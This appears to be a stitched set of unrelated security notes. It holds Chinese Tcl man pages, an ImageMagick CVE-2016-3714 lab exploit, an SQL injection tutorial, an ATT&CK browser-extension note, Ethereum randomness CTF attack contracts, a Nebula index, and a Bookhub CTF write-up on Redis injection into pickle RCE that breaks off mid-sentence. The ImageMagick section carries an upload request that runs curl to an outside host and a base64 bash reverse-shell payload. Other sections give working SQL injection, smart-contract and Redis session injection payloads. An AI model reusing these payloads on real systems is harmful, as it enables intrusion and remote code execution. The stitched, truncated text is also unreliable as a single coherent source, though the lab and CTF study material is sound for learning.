\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH unset 3tcl "" Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME unset \- 删除变量 .SH "总览 SYNOPSIS" \fBunset \fIname \fR?\fIname name ...\fR? .BE .SH "描述 DESCRIPTION" .PP 这个命令删除一个或多个变量。每个 \fIname\fR 都是一个变量的名字,可以用 \fBset\fR 命令可接受的任何方式指定它们。如果一个 \fIname\fR 引用一个数组的一个元素,则删除这个元素而不影响这个数组其余的元素。如果某个 \fIname\fR 是一个数组的名字而没有在圆括号中包围的索引,则删除整个数组。\fBunset\fR 命令返回一个空串作为结果。如果变量中任何一个不存在则发生一个错误,而不删除这个不存在的变量后面的任何变量。 .SH "关键字 KEYWORDS" remove, variable .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/11/20 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# Imagemagick Command Injection Vulnerability (CVE-2016–3714) [中文版本(Chinese version)](README.zh-cn.md) ImageMagick is a free and open-source cross-platform software suite for displaying, creating, converting, modifying, and editing raster images. Referers: - https://imagetragick.com - https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html - https://github.com/ImageTragick/PoCs ## Environment Setup Execute the following command to start a PHP server that includes Imagemagick 6.9.2-10: ``` docker compose up -d ``` ## Exploit Visit `http://your-ip:8080/` to see an upload component. Send the following request: ``` POST / HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymdcbmdQR1sDse9Et Content-Length: 328 ------WebKitFormBoundarymdcbmdQR1sDse9Et Content-Disposition: form-data; name="file_upload"; filename="1.gif" Content-Type: image/png push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.0/oops.jpg"|curl "www.leavesongs.com:8889)' pop graphic-context ------WebKitFormBoundarymdcbmdQR1sDse9Et-- ``` It can be seen that `www.leavesongs.com:8889` has received the http request, after the curl command was executed successfully: ![](2.png) POC of getting a reverse shell: ``` push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzQ1LjMyLjQzLjQ5Lzg4ODkgMD4mMQ== | base64 -d | bash`"||id " )' pop graphic-context ``` ![](3.png)
sec-knowleage
# 0x00 order by 注入 这是一种特殊的注入 sql语句为 `select * from admin order by $id` 我们一般用order by 来判断他的列数,其实他就是一个依照第几个列来排序的过程。 order by注入是不能 直接使用`and 1=1` 来判断的,他需要用到条件语句。 ``` mysql> select * from admin order by id; +------+----------+----------+ | id | username | password | +------+----------+----------+ | 1 | cdmin | bdmin | | 2 | admin | ddmin | | 3 | bdmin | fdmin | +------+----------+----------+ 3 rows in set (0.00 sec) mysql> select * from admin order by username; +------+----------+----------+ | id | username | password | +------+----------+----------+ | 2 | admin | ddmin | | 3 | bdmin | fdmin | | 1 | cdmin | bdmin | +------+----------+----------+ 3 rows in set (0.00 sec) ``` ### 盲注 1. 布尔 简单的判断 ``` mysql> select * from admin order by if(1=1,username,password); +------+----------+----------+ | id | username | password | +------+----------+----------+ | 2 | admin | ddmin | | 3 | bdmin | fdmin | | 1 | cdmin | bdmin | +------+----------+----------+ 3 rows in set (0.00 sec) mysql> select * from admin order by if(1=3,username,password); +------+----------+----------+ | id | username | password | +------+----------+----------+ | 1 | cdmin | bdmin | | 2 | admin | ddmin | | 3 | bdmin | fdmin | +------+----------+----------+ 3 rows in set (0.00 sec) ``` 简单的注入 ``` mysql> select * from admin order by if((substr((select user()),1,1)='r1'),username,password); +------+----------+----------+ | id | username | password | +------+----------+----------+ | 1 | cdmin | bdmin | | 2 | admin | ddmin | | 3 | bdmin | fdmin | +------+----------+----------+ 3 rows in set (0.00 sec) mysql> select * from admin order by if((substr((select user()),1,1)='r'),username,password); +------+----------+----------+ | id | username | password | +------+----------+----------+ | 2 | admin | ddmin | | 3 | bdmin | fdmin | | 1 | cdmin | bdmin | +------+----------+----------+ 3 rows in set (0.00 sec) http://127.0.0.1/sqli/Less-46/?sort=if((substr((select user()),1,1)='r'),username,password) ``` 2. 时间盲注 时间盲注不能直接简单的`sleep()` 因为他会对每条内容来执行你的语句,所以会造成dos测试获取速度慢等问题,这时候我们需要用到子查询 ``` mysql> select * from admin order by if((substr((select user()),1,1)='r'),sleep(5),password); +------+----------+----------+ | id | username | password | +------+----------+----------+ | 3 | bdmin | fdmin | | 2 | admin | ddmin | | 1 | cdmin | bdmin | +------+----------+----------+ 3 rows in set (15.01 sec) ``` 我们写一条简单的子查询试试 ``` mysql> select * from admin order by if((substr((select user()),1,1)='r'),(select 1 from (select sleep(2)) as b),password); +------+----------+----------+ | id | username | password | +------+----------+----------+ | 3 | bdmin | fdmin | | 2 | admin | ddmin | | 1 | cdmin | bdmin | +------+----------+----------+ 3 rows in set (2.01 sec) ``` ### 报错注入 ``` http://127.0.0.1/sqli/Less-46/?sort=(extractvalue(1,concat(0x3a,version())),1) mysql> select * from admin order by (extractvalue(1,concat(0x3a,version())),1); ERROR 1105 (HY000): XPATH syntax error: ':5.5.53' ``` # 0x01 From from 后面的注入比较少 还是提一下 ``` select * from $id; ``` 1. 可以结合 order by 来注入 2. 可以使用联合注入来注入 ``` mysql> select * from admin union select 1,user(),3; +------+----------------+----------+ | id | username | password | +------+----------------+----------+ | 3 | bdmin | fdmin | | 2 | admin | ddmin | | 1 | cdmin | bdmin | | 1 | root@localhost | 3 | +------+----------------+----------+ 4 rows in set (0.02 sec) ``` 方法跟普通注入一样的一样自己加上表名 # 0x02 limit 这种注入也不是很常见,依照 https://rateip.com/blog/sql-injections-in-mysql-limit-clause/ 来提一下 ``` mysql> select * from admin where id >0 limit 0,1 $id ``` 如何利用呢 大佬们已经给出方法了 用 `PROCEDURE ANALYSE` 配合报错注入,所以多看文档,如果你想提升下自己的水平 ``` mysql> select * from admin where id >0 order by id limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); ERROR 1105 (HY000): XPATH syntax error: ':5.5.53' ERROR: No query specified ``` 这里延时只能使用`BENCHMARK()` 如同 ``` select * from admin where id >0 order by id limit 0,1 PROCEDURE analyse(extractvalue(rand(),concat(0x3a,(if(1=1,benchmark(2000000,md5(404)),1)))),1); ``` # 0x03 文末 #### 本文如有错误,请及时提醒,避免误导他人 * author:404
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: if.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: if.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH if 3tcl "" Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME if \- 有条件的执行脚本 .SH "总览 SYNOPSIS" \fBif \fIexpr1 \fR?\fBthen\fR? \fIbody1 \fBelseif \fIexpr2 \fR?\fBthen\fR? \fIbody2\fR \fBelseif\fR ... ?\fBelse\fR? ?\fIbodyN\fR? .BE .SH "描述 DESCRIPTION" .PP \fIif\fR 命令把 \fIexpr1\fR 作为一个表达式来求值(用与 \fBexpr\fR 求值它的参数相同的方式)。这个表达式的值必须式一个 boolean 值(一个数值值,这里 0 是假而任何其他数值都是真;或者是一个字符串值,比如 \fBtrue\fR 或 \fByes\fR 是真而 \fBfalse\fR 或 \fBno\fR 是假);如果它是真通过把 \fIbody1\fR 传递给 Tcl 解释器来执行它。否则把 \fIexpr2\fR 作为一个表达式来求值并且如果它是真则执行 \fIbody2\fR,以此类推。如果没有表达式被求值为真则执行 \fIbodyN\fR 。\fBthen\fR 和 \fBelse\fR 是可选的“噪音词”用来使命令易读。可以有任意数目的 \fBelseif\fR 子句,包括零个。\fIBodyN\fR 与 \fBelse\fR 可同时省略。命令的返回值是被执行的那个脚本的返回值,如果没有表达式是非零并且没有 \fIbodyN\fR 则返回空串。 .SH "参见 SEE ALSO" expr(n), for(n), foreach(n) .SH "关键字 KEYWORDS" boolean, conditional, else, false, if, true .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/09/02 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
import zlib, itertools, binascii s=[] q=open("blobs","rb").read().split("\n")[:-1] for w in q: w=w.split("'")[1] s.append(binascii.unhexlify(w)) print len(s) i=0 for perm in itertools.permutations(s): w="".join(perm) try: q=zlib.decompress(w) print perm except: pass i+=1 if i%10000==0: print i for j in perm: print repr(j)[:3], print ""
sec-knowleage
# T1176-浏览器扩展 ## 来自ATT&CK的描述 攻击者可能会滥用互联网浏览器扩展来建立对目标组织系统的持久性访问。浏览器扩展或插件是一些小程序,可以增加功能并定制互联网浏览器的各个方面。它们可以直接安装,也可以通过浏览器的应用商店安装,一般来说,它们对浏览器可以访问的一切都有访问权权限。 恶意扩展可以通过伪装成合法的扩展在应用商店下载,通过社会工程,或由已经入侵系统的攻击者安装到浏览器。浏览器应用商店的安全性可能是有限的,因此恶意扩展很容易打败自动扫描器。根据浏览器的情况,攻击者还可能操纵扩展的更新网址,从攻击者控制的服务器上安装更新,或操纵移动配置文件,悄悄地安装额外的扩展。 在 macOS 11 之前,攻击者可以通过命令行静默安装浏览器扩展,使用该profiles工具安装恶意.mobileconfig文件。在 macOS 11+ 中,使用该profiles工具无法再安装配置文件,但.mobileconfig可以通过用户交互来植入和安装文件。 一旦扩展被安装,它可以在后台浏览网站,窃取用户输入浏览器的所有信息(包括证书),并被用作持久性的RAT的安装程序。 也有僵尸网络通过恶意的Chrome扩展程序用来做持久性后门的情况。也有类似的例子,扩展程序被用于指挥和控制。 ## 测试案例 ### 测试1 Chrome开发者模式 - 导航到 chrome://extensions 并勾选“开发者模式”。 - 单击“加载解压的扩展...”并导航到Browser_Extension - 点击“选择” ### 测试2 Chrome应用市场 - 在 Chrome 中导航到[https://chrome.google.com/webstore/detail/minimum-viable-malicious/odlpfdolehmhciiebahbpnaopneicend](https://chrome.google.com/webstore/detail/minimum-viable-malicious/odlpfdolehmhciiebahbpnaopneicend) - 点击“添加到 Chrome” ### 测试3 Firefox - 导航到 about:debugging 并单击“Load Temporary Add-on” - 导航到[manifest.json](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1176/src/manifest.json) - 然后点击“打开” ### Edge Chromium 插件 攻击者可能会使用 VPN 扩展来隐藏从被攻陷主机发送的流量。这将在Edge附加商店中安装一个(许多)可用的VPNS。 - 在 Edge Chromium 中导航到[https://microsoftedge.microsoft.com/addons/detail/fjnehcbecaggobjholekjijaaekbnlgj](https://microsoftedge.microsoft.com/addons/detail/fjnehcbecaggobjholekjijaaekbnlgj) - 点击“获取” ## 检测日志 无 ## 测试案例 无 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 ### 建议 清点和监控偏离正常、预期和良性扩展的浏览器扩展安装。利用进程和网络监控,可用于检测与C2 服务器通信的浏览器。然而,这是一种检测恶意扩展的比较困难的方法,具体取决于它产生的流量的性质和数量。 监视写入注册表的任何新项目或写入磁盘的PE文件。这可能与浏览器扩展安装有关。 在macOS上,监视命令行以了解配置文件工具的使用情况,例如`profiles install -type=configuration`. 此外,所有已安装的扩展都`plist`在`/Library/Managed Preferences/username/`目录中维护一个文件。确保所有列出的文件都与批准的扩展名一致。 ## 参考推荐 MITRE-ATT&CK-T1176 <https://attack.mitre.org/techniques/T1176> Atomic-red-team-T1176 <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1176/T1176.md>
sec-knowleage
### Randomness概述 讨论以太坊中的随机数问题。由于所有以太坊节点在验证交易时,需要计算出相同的结果以达成共识,因此 EVM 本身无法实现真随机数的功能。至于伪随机数,其熵源也是只能是确定值。下面讨论各种随机数的安全性,并介绍回滚攻击。 ### 使用私有变量的伪随机数原理 合约使用外界未知的私有变量参与随机数生成。虽然变量是私有的,无法通过另一合约访问,但是变量储存进 storage 之后仍然是公开的。我们可以使用区块链浏览器(如 etherscan)观察 storage 变动情况,或者计算变量储存的位置并使用 Web3 的 api 获得私有变量值,然后计算得到随机数。 ### 使用私有变量的伪随机数例子 ```solidity pragma solidity ^0.4.18; contract Vault { bool public locked; bytes32 private password; function Vault(bytes32 _password) public { locked = true; password = _password; } function unlock(bytes32 _password) public { if (password == _password) { locked = false; } } } ``` 直接使用 `web3.eth.getStorageAt` 确定参数调用即可 ``` web3.eth.getStorageAt(ContractAddress, "1", function(x,y){console.info(y);}) ``` ### 外部参与的随机数原理 随机数由其他服务端生成。为了确保公平,服务端会先将随机数或者其种子的哈希写入合约中,然后待用户操作之后再公布哈希对应的明文值。由于明文空间有 256 位,这样的随机数生成方法相对安全。但是在明文揭露时,我们可以在状态为 pending 的交易中找到明文数据,并以更高的 gas 抢在之前完成交易确认。 ### 使用区块变量的伪随机数原理 EVM 有五个字节码可以获取当前区块的变量,包括 coinbase、timestamp、number、difficulty、gaslimit。这些变量对矿工来说,都是已知或者可操控的,因此在私有链部署的题目中,可以作为恶意的矿工控制随机数的结果。在公开的链如 Ropsten 上,这个方法就不太可行,但我们也可以编写攻击合约,在攻击合约中获取到相同的区块变量值,进一步用相同的算法得到随机数值。 ### 使用区块变量的伪随机数例子 ```solidity pragma solidity ^0.4.18; import 'openzeppelin-solidity/contracts/math/SafeMath.sol'; contract CoinFlip { using SafeMath for uint256; uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; function CoinFlip() public { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(block.blockhash(block.number.sub(1))); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue.div(FACTOR); bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } } ``` - 代码处理流程为: - 获得上一块的 hash 值 - 判断与之前保存的 hash 值是否相等,相等则会退 - 根据 blockValue/FACTOR 的值判断为正或负,即通过 hash 的首位判断 以太坊区块链上的所有交易都是确定性的状态转换操作,每笔交易都会改变以太坊生态系统的全球状态,并且是以一种可计算的方式进行,这意味着其没有任何的不确定性。所以在区块链生态系统内,不存在熵或随机性的来源。如果使用可以被挖矿的矿工所控制的变量,如区块哈希值,时间戳,区块高低或是 Gas 上限等作为随机数的熵源,产生的随机数并不安全。 所以编写如下攻击脚本,调用 10 次 `exploit()` 即可 ```solidity pragma solidity ^0.4.18; contract CoinFlip { uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; function CoinFlip() public { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(block.blockhash(block.number-1)); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } } contract hack{ uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; address instance_address = ContractAddress; CoinFlip c = CoinFlip(instance_address); function exploit() public { uint256 blockValue = uint256(block.blockhash(block.number-1)); uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; c.flip(side); } } ``` ### 使用 Blockhash 的伪随机数原理 Blockhash 是一个特殊的区块变量,EVM 只能获取到当前区块之前的 256 个区块的 blockhash (**不含当前区块**),对于这 256 个之外的区块返回 0。使用 blockhash 可能存在几种问题。 1. 误用,如 `block.blockhash(block.number)` 恒为零。 2. 使用过去区块的有效 blockhash ,可以编写攻击合约获取相同值。 3. 将猜数字和开奖的交易分开在两个不同区块中,并且使用猜数字时还不知道的某个区块的 blockhash 作为熵源,则可以等待 256 个区块后再进行开奖,消除 blockhash 的不确定性。 ### 回滚攻击原理 在某些情况下,获取随机数可能过于困难或繁琐,这时可以考虑使用回滚攻击。回滚攻击的思想很简单:完全碰运气,输了就“耍赖”,通过抛出异常使整个交易回滚不作数;赢的时候则不作处理,让交易被正常确认。
sec-knowleage
# exploit-exercises Nebula walkthrough #### Site: https://exploit-exercises.com/nebula http://vulnhub.com/entry/exploit-exercises-nebula-v5,31/ #### About Nebula takes the participant through a variety of common (and less than common) weaknesses and vulnerabilities in Linux. It takes a look at SUID files Permissions Race conditions Shell meta-variables $PATH weaknesses Scripting language weaknesses Binary compilation failures At the end of Nebula, the user will have a reasonably thorough understanding of local attacks against Linux systems, and a cursory look at some of the remote attacks that are possible. #### Getting started ##### Levels Have a look at the levels available on the side bar, and log into the virtual machine as the username “levelXX” with a password of “levelXX” (without quotes), where XX is the level number. Some levels can be done purely remotely. ##### Getting root: In case you need root access to change stuff (such as key mappings, etc), you can do the following: Log in as the "nebula" user account with the password "nebula" (both without quotes), followed by "sudo -s" with the password "nebula". You'll then have root privileges in order to change whatever needs to be changed. ``` level19@nebula:~$ su nebula Password: nebula@nebula:/home/level19$ id uid=1000(nebula) gid=1000(nebula) groups=1000(nebula),4(adm),20(dialout),24(cdrom),46(plugdev),108(lpadmin),109(sambashare),110(admin) nebula@nebula:/home/level19$ sudo -s /bin/bash [sudo] password for nebula: root@nebula:/home/level19# id uid=0(root) gid=0(root) groups=0(root) ``` #### Workthrough * Contents: * level00 ---- find a Set User ID program * level01 ---- env hijacking * level02 ---- command injection (c) * level03 ---- scheduler * level04 ---- bypass filename limit with a symbolic * level05 ---- get ssh perms from backup files * level06 ---- crack Unix/linux os user password * level07 ---- command injection (perl) * level08 ---- packet analysis (tcpdump) * level09 ---- code injection (php) * level10 ---- time-of-use to time-of-check or TOCTOU bug * level11 ---- command injection (c) * level12 ---- command injection (lua) * level13 ---- prog debug (c) * level14 ---- decrypt * level15 ---- compile a shared library in linux * level16 ---- command injection (perl) * level17 ---- pickle bug * level18 ---- bypass login auth (c) * level19 ---- process security Linux os/shell/command/security level00/level01/level03/level04/level05/level06/level08/level10 c/perl/lua/php/python level02/level07/level09/level11/level12/level13/level14/level15/level16/level17/level18/level19
sec-knowleage
# Bookhub (web, 19 solved, 208p) ``` How to pwn bookhub? http://52.52.4.252:8080/ hint: www.zip ``` In the task we get access to a webpage which displays some books information. There is also `admin login` page, but doesn't seem to be vulnerable in any way. We also get the [source code](www.zip). From the whole source code there are really only 2 things that are of interest: - `views/user.py` - `forms/user.py` ## Broken authentication decorator First vulnerability in the code is: ```python @login_required @user_blueprint.route('/admin/system/refresh_session/', methods=['POST']) def refresh_session(): ``` It seems just fine, but the `proper` function is for example: ```python @user_blueprint.route('/admin/system/change_name/', methods=['POST']) @login_required def change_name(): ``` The difference is the order of decorators! It seems that re-ordering the decorators actually makes the `login_required` useless, and it doesn't get triggered. As a result we can call this method, as long as we're running the `debug mode`, since all of this is inside `if app.debug:` We can at least confirm this to work locally. ## Finding debug server Another interesting part of the code is: ```python def validate_password(self, field): address = get_remote_addr() whitelist = os.environ.get('WHITELIST_IPADDRESS', '127.0.0.1') # If you are in the debug mode or from office network (developer) if not app.debug and not ip_address_in(address, whitelist): raise StopValidation(f'your ip address isn\'t in the {whitelist}.') user = User.query.filter_by(username=self.username.data).first() if not user or not user.check_password(field.data): raise StopValidation('Username or password error.') ``` Whitelist check is particularly important, because once we try to login on the webpage we get back: ``` your ip address isn't in the 10.0.0.0/8,127.0.0.0/8,172.16.0.0/12,192.168.0.0/16,18.213.16.123. ``` What is `18.213.16.123`? It's not a local address, nor addres of the server we're using. We scanned this IP and got back few open ports. One was of particular interest because http://18.213.16.123:5000 was running the same application, but in `debug mode` (indicated by a warning on the main page). We confirmed that we can trigger `/admin/system/refresh_session/` here, just as on local debug environment. This was the only available endpoint, so we focused on figuring out how we can use it. ## Redis injection The endpoint mentioned earlier allows us to delete all user sessions, apart from ours, from Redis. Redis is a key-value store, and it seems it's storing session information for this particular application. Code we're interested in is: ```python @login_required @user_blueprint.route('/admin/system/refresh_session/', methods=['POST']) def refresh_session(): """ delete all session except the logined user :return: json """ status = 'success' sessionid = flask.session.sid prefix = app.config['SESSION_KEY_PREFIX'] if flask.request.form.get('submit', None) == '1': try: rds.eval(rf''' local function has_value (tab, val) for index, value in ipairs(tab) do if value == val then return true end end return false end local inputs = {{ "{prefix}{sessionid}" }} local sessions = redis.call("keys", "{prefix}*") for index, sid in ipairs(sessions) do if not has_value(inputs, sid) then redis.call("del", sid) end end ''', 0) except redis.exceptions.ResponseError as e: app.logger.exception(e) status = 'fail' return flask.jsonify(dict(status=status)) ``` The really interesting part is, the fact that the code is reading the value of our session cookie, and then it's bulding some Lua-Redis code with this value, and then this code is executed by Redis. But what if we provide session id with `"` inside? We will break out of `local inputs = {{ "{prefix}{sessionid}" }}` and basically gain a Redis injection! We could set for example session to: ``` session = 'k",redis.call("set","bookhub:session:k","some value we want"),"' ``` And by executing the mentioned endpoint, we would actually execute: ``` redis.call("set","bookhub:session:k","some value we want") ``` Keep in mind this endpoint removes all sessions, apart form ours, so we provide `k` as our sesion name for `local inputs` variable, and then we set the session with the same name using injection. This way our session stays in Redis. We can automate this via script: ```python session = 'k",redis.call("set","bookhub:session:k",{}),"'.format(inject_session) url = "http://{}:5000/login/".format(IP) r = requests.get(url, cookies={"bookhub-session": session}) token = re.findall('<input id="csrf_token" name="csrf_token" type="hidden" value="(.*)">', r.text)[0] url = "http://{}:5000/admin/system/refresh_session/".format(IP) r = requests.post(url, data={"csrf_token": token, "submit": "1"}, cookies={"bookhub-session": session}) print(r.text) ``` Keep in mind we need to get a CSRF token for example from `login` page, to be able to submit the POST to `admin/system/refresh_session/`. Now we can inject a session of our choosing, but the question is: what exactly is the session format and what is stored there? We have the local debug environment so we could create a user, login and then check what is stored in Redis for his session. It turns out to be for example ``` b"\x80\x03}q\x00(X\n\x00\x00\x00_permanentq\x01\x88X\x06\x00\x00\x00_freshq\x02\x88X\n\x00\x00\x00csrf_tokenq\x03X(\x00\x00\x003fb61e9f34fe74b112d75ce040a1e202acdd91a0q\x04X\a\x00\x00\x00user_idq\x05X\x01\x00\x00\x001q\x06X\x03\x00\x00\x00_idq\aX\x80\x00\x00\x009fb9e4587a4b3efecccd22ba061e060151bd66fde715982b649fdf4e597ad6f5292bda2812cc59b7c28b0517c45d6a17a235e455eec68e9fb511910a626198e5q\bu." ``` And if we check what serialized is used by default, it turns out to be Pickle. We can unpickle the session to get back: ``` {'csrf_token': '3fb61e9f34fe74b112d75ce040a1e202acdd91a0', '_fresh': True, 'user_id': '1', '_permanent': True, '_id': '9fb9e4587a4b3efecccd22ba061e060151bd66fde715982b649fdf4e597ad6f5292bda2812cc59b7c28b0517c45d6a17a235e455eec68e9fb511910a626198e5'} ``` ## Pickle RCE There is no point in trying to craft a proper session value, since we already know the server will unpickle whatever we put there. And pickle can be used for running pretty much any python code we want. For reference look at: - https://github.com/p4-team/ctf/tree/master/2015-12-27-32c3/gurke_misc_300#eng-version - 